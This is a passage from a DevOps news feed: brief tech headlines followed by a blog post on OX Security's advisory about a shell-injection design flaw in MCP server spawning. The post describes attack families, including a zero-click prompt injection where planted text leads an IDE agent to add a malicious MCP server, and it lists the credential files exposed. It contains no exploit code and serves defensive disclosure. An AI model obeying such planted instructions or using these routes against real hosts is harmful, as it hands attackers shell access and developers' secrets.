<p><a href="https://ubuntu.com//blog/understanding-disaggregated-genai-model-serving-with-llm-d"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about" class="group relative scroll-mt-24">
        <a href="#h3-microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microsoft Foundry Tackles the AI Agent Tool Problem Nobody Talks About
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Tool sprawl is quietly becoming one of the biggest headaches in enterprise AI development. Microsoft thinks it has a fix.</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-disappearing-ai-middle-class" class="group relative scroll-mt-24">
        <a href="#h3-the-disappearing-ai-middle-class" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The disappearing AI middle class
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-disappearing-ai-middle-class"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In 24 hours last week, OpenAI and DeepSeek made opposite bets on what frontier AI is worth. One says it The post The disappearing AI middle class appeared first on The New Stack.</p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/disappearing-ai-middle-class/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-prompting-how-kubestellar-reached-81-pr-acceptance-with-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-beyond-prompting-how-kubestellar-reached-81-pr-acceptance-with-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond prompting: How KubeStellar reached 81% PR acceptance with AI agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-prompting-how-kubestellar-reached-81-pr-acceptance-with-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The surprise in building KubeStellar Console with coding agents was not the extent of the model’s capabilities, but the heavy The post Beyond prompting: How KubeStellar reached 81% PR acceptance with </p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-codebase-maturity-model/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-find-and-unlock-the-data-hidden-within-videos" class="group relative scroll-mt-24">
        <a href="#h3-how-to-find-and-unlock-the-data-hidden-within-videos" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to find and unlock the data hidden within videos
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-find-and-unlock-the-data-hidden-within-videos"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Video is everywhere in today’s world, and more video content is being pumped out than ever before. It is estimated The post How to find and unlock the data hidden within videos appeared first on The N</p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/build-video-search-vespa/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-static-code-analysis-helps-reduce-software-bugs-and-money-spent" class="group relative scroll-mt-24">
        <a href="#h3-how-static-code-analysis-helps-reduce-software-bugs-and-money-spent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Static Code Analysis Helps Reduce Software Bugs, and Money Spent!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-static-code-analysis-helps-reduce-software-bugs-and-money-spent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dealing with bugs is a natural part of software development. But it can also be among the most costly, especially when they don’t get discovered until later in the development lifecycle. The daunting </p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/04/reduce-software-bugs-and-money-spent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow" class="group relative scroll-mt-24">
        <a href="#h3-why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Contact Enrichment Belongs in Your Application Architecture, Not Your Sales Workflow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most B2B applications collect incomplete data by design. A lead form captures a name and company. A recruiting tool surfaces a LinkedIn profile. An event registration system logs an email address and </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/why-contact-enrichment-belongs-in-your-application-architecture-not-your-sales-workflow/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claudes-code-quality-conundrum-continues" class="group relative scroll-mt-24">
        <a href="#h3-claudes-code-quality-conundrum-continues" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude’s Code Quality Conundrum Continues
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claudes-code-quality-conundrum-continues"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic admits to a month-long degradation in Claude&#39;s output due to reasoning &quot;effort&quot; tradeoffs, cache bugs, and verbosity prompts. As Opus 4.7 rolls out with mixed developer reviews, the company </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/claudes-code-quality-conundrum-continues/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-confidential-guest-reset-on-qemu-hypervisor-design-choices-and-approach" class="group relative scroll-mt-24">
        <a href="#h3-confidential-guest-reset-on-qemu-hypervisor-design-choices-and-approach" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Confidential guest reset on QEMU hypervisor: Design choices and approach
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-confidential-guest-reset-on-qemu-hypervisor-design-choices-and-approach"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Looking at the release notes or changelogs for QEMU upstream, you might notice that there&#39;s something new in version 11.0:SEV-SNP and TDX machines can now be reset.This is a feature we at Red Hat help</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/confidential-guest-reset-qemu-hypervisor-design-choices-and-approach"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-susecon-2026-wrap-up-choice-happened-in-prague" class="group relative scroll-mt-24">
        <a href="#h3-susecon-2026-wrap-up-choice-happened-in-prague" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SUSECON 2026 Wrap-Up: Choice Happened in Prague
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-susecon-2026-wrap-up-choice-happened-in-prague"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What a week in Prague! This city has a way of making big ideas feel possible, and SUSECON 2026 met that energy from the very first keynote. As I sit here catching my breath (and catching up on my slee</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/susecon-2026-wrap-up-choice-happened-in-prague/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-intellij-idea-202611-is-out" class="group relative scroll-mt-24">
        <a href="#h3-intellij-idea-202611-is-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 IntelliJ IDEA 2026.1.1 Is Out!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-intellij-idea-202611-is-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>IntelliJ IDEA 2026.1.1 has arrived with several valuable fixes. You can update to this version from inside the IDE, using the Toolbox App, or using snaps if you are a Ubuntu user. You can also downloa</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/04/intellij-idea-2026-1-1/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The MCP Design Flaw That Exposes 150M Downloads to RCE]]></title>
      <link>https://devops.anhp.site/posts/mcp-design-flaw-rce-supply-chain-risk</link>
      <description><![CDATA[Researchers at OX Security disclosed an architectural vulnerability in Anthropic MCP that enables remote code execution across Python, TypeScript, Java, and Rust SDKs. Anthropic calls it "by design." Here is how the flaw works, which tools are affected, and what to do if you use Cursor, Claude Code, LangChain, or anything with an MCP server.]]></description>
      <pubDate>Mon, 20 Apr 2026 15:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/mcp-design-flaw-rce-supply-chain-risk</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[mcp]]></category><category><![CDATA[anthropic]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[rce]]></category><category><![CDATA[ai-security]]></category><category><![CDATA[devops]]></category>
      <content:encoded><![CDATA[<p>On April 15, 2026, researchers at <a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security</a> published an advisory describing what they call a &quot;critical, systemic vulnerability&quot; in the design of Anthropic&#39;s Model Context Protocol. The short version: the way MCP servers are launched means an attacker who can influence an MCP configuration can run arbitrary shell commands on the host. The flaw is architectural, not a specific bug, and Anthropic has declined to change the protocol.</p>
<p>The cascading impact is large. MCP is the plumbing under Claude Code, Cursor, VS Code&#39;s Claude extension, Windsurf, Gemini CLI, LiteLLM, LangChain, IBM&#39;s LangFlow, and dozens of smaller AI tools. OX estimates <strong>150 million+ downloads</strong>, <strong>7,000+ publicly exposed MCP servers</strong>, and up to <strong>200,000 vulnerable instances</strong> in total.</p>
<p>If you run any AI-assisted IDE or build on one of these frameworks, you are potentially in the blast radius. Here is what happened, how the flaw works, how to tell if you are exposed, and what to do.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Disclosed</td>
<td>April 15, 2026</td>
</tr>
<tr>
<td>Researchers</td>
<td><a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security</a> (Moshe Siman Tov Bustan, Mustafa Naamnih, Nir Zadok, Roni Bar)</td>
</tr>
<tr>
<td>Affected</td>
<td>Anthropic MCP SDKs in Python, TypeScript, Java, Rust</td>
</tr>
<tr>
<td>Root cause</td>
<td>User-controlled input reaches <code>StdioServerParameters</code> without sanitization, enabling shell injection at server spawn</td>
</tr>
<tr>
<td>Attacker capability</td>
<td>Remote code execution on the host running the MCP client or server</td>
</tr>
<tr>
<td>Scale</td>
<td>150M+ downloads, 7,000+ public servers, up to 200,000 vulnerable instances</td>
</tr>
<tr>
<td>Notable CVEs</td>
<td>CVE-2026-30623 (LiteLLM), CVE-2026-30615 (Windsurf), CVE-2025-65720 (GPT Researcher), plus 7 more</td>
</tr>
<tr>
<td>Affected downstreams</td>
<td>LiteLLM, LangChain, LangFlow, Cursor, VS Code, Windsurf, Claude Code, Gemini CLI, Flowise</td>
</tr>
<tr>
<td>Anthropic&#39;s response</td>
<td>Behavior is &quot;by design&quot;; sanitization is &quot;the developer&#39;s responsibility&quot;</td>
</tr>
</tbody></table>
<p>Source: <a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security advisory</a>, with downstream reporting from <a href="https://www.techradar.com/pro/security/this-is-not-a-traditional-coding-error-experts-flag-potentially-critical-security-issues-at-the-heart-of-anthropics-mcp-exposes-150-million-downloads-and-thousands-of-servers-to-complete-takeover">TechRadar</a> and <a href="https://thehackernews.com/">The Hacker News</a>.</p>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>MCP (Model Context Protocol) is Anthropic&#39;s open protocol for connecting LLMs to tools, data sources, and IDEs. An MCP client (like Claude Code or Cursor) spawns MCP servers, and those servers expose tools the model can call. A single IDE typically runs half a dozen of these servers at once: one for filesystem access, one for git, one for database queries, and so on.</p>
<p>The most common way clients spawn servers is the <strong>STDIO transport</strong>. The client reads a config that specifies a command to run (for example, <code>python -m my_mcp_server</code>) and launches it as a subprocess. Inputs go in over stdin, responses come back over stdout. Simple, fast, and the default in every official SDK.</p>
<p>The flaw lives in that spawn step.</p>
<p>In Anthropic&#39;s Python, TypeScript, Java, and Rust SDKs, the code path that builds <code>StdioServerParameters</code> takes user-configurable values (the command, the arguments, the environment) and passes them straight to a shell invocation with no sanitization. The trust model assumes the config is written by the end user and therefore trusted. In practice, that config travels through:</p>
<ul>
<li>Markdown files in a project (<code>.cursor/rules</code>, <code>CLAUDE.md</code>, <code>mcp.json</code>)</li>
<li>Web UIs in AI platforms (Flowise, LangFlow, LiteLLM admin)</li>
<li>Model output (if the agent is allowed to edit its own MCP config)</li>
<li>Package registries (MCP server marketplaces that are starting to appear)</li>
<li>Other MCP servers (servers can recommend other servers)</li>
</ul>
<p>Any one of those paths can smuggle a malicious command into the config, and the SDK will run it. That&#39;s the entire vulnerability. No CVE on a specific line of code. It is a design choice.</p>
<blockquote>
<p>&quot;This is not a traditional coding error.&quot;<br>OX Security researchers, <a href="https://www.techradar.com/pro/security/this-is-not-a-traditional-coding-error-experts-flag-potentially-critical-security-issues-at-the-heart-of-anthropics-mcp-exposes-150-million-downloads-and-thousands-of-servers-to-complete-takeover">via TechRadar</a></p>
</blockquote>
<h2 id="h2-the-four-attack-families" class="group relative scroll-mt-24">
        <a href="#h2-the-four-attack-families" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Four Attack Families
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-four-attack-families"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>OX grouped practical exploits into four families. Most real-world attacks use some combination.</p>
<h3 id="h3-1-unauthenticated-ui-injection" class="group relative scroll-mt-24">
        <a href="#h3-1-unauthenticated-ui-injection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Unauthenticated UI injection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-unauthenticated-ui-injection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many AI frameworks (LangFlow, Flowise, LiteLLM admin) ship a web UI that lets operators add MCP servers. When those UIs are exposed to the public internet without authentication, which is depressingly common, an attacker submits a malicious server config and triggers RCE on the host.</p>
<p>This is how the 7,000+ publicly exposed MCP servers get owned. Scan Shodan, find an unauthenticated LangFlow, paste in a config that shells out.</p>
<h3 id="h3-2-hardening-bypasses" class="group relative scroll-mt-24">
        <a href="#h3-2-hardening-bypasses" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Hardening bypasses
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-hardening-bypasses"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Some frameworks try to sanitize MCP configs. The researchers demonstrated bypasses against Flowise&#39;s hardening by chaining allowed-but-unexpected syntax (shell expansions, redirection, multi-command sequences via <code>;</code> or <code>&amp;&amp;</code>).</p>
<p>Hardening that tries to allow-list &quot;safe&quot; commands tends to fail against the full surface area of POSIX shell grammar.</p>
<h3 id="h3-3-zero-click-prompt-injection-in-ides" class="group relative scroll-mt-24">
        <a href="#h3-3-zero-click-prompt-injection-in-ides" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Zero-click prompt injection in IDEs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-zero-click-prompt-injection-in-ides"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the scariest category. An attacker plants malicious text in a document, repo, or tool output that the IDE&#39;s agent will read. The agent dutifully ingests the text, the text contains instructions like &quot;add this MCP server to your config,&quot; and the IDE adds it.</p>
<p>The user didn&#39;t click anything. The agent did it. Then the IDE restarts the MCP server, and the command runs.</p>
<p>CVE-2026-30615 covers exactly this chain against Windsurf. Similar issues have been shown in Cursor, VS Code&#39;s Claude extension, Claude Code, and Gemini CLI.</p>
<h3 id="h3-4-malicious-marketplace-distribution" class="group relative scroll-mt-24">
        <a href="#h3-4-malicious-marketplace-distribution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Malicious marketplace distribution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-malicious-marketplace-distribution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>MCP server registries are starting to appear. Anthropic&#39;s <a href="https://mcp.so">mcp.so</a> and various community marketplaces list installable servers. A malicious author publishes a &quot;PostgreSQL tools&quot; MCP server. You install it. The install-time shell command runs. Game over.</p>
<p>This is the same pattern as the <a href="/posts/axios-supply-chain-attack-what-happened-and-what-to-do">axios supply chain attack</a> from a few weeks ago. The difference: MCP registries have almost no review process right now.</p>
<h2 id="h2-what-an-attacker-gets" class="group relative scroll-mt-24">
        <a href="#h2-what-an-attacker-gets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What an Attacker Gets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-an-attacker-gets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A successful exploit gives the attacker shell access as the user running the MCP client. In practice that means:</p>
<ul>
<li>Read/write access to every file the user can see, including SSH keys, cloud credentials (<code>~/.aws</code>, <code>~/.config/gcloud</code>), npm tokens, and git configs</li>
<li>Every environment variable in the MCP process, which on developer machines usually includes live API keys</li>
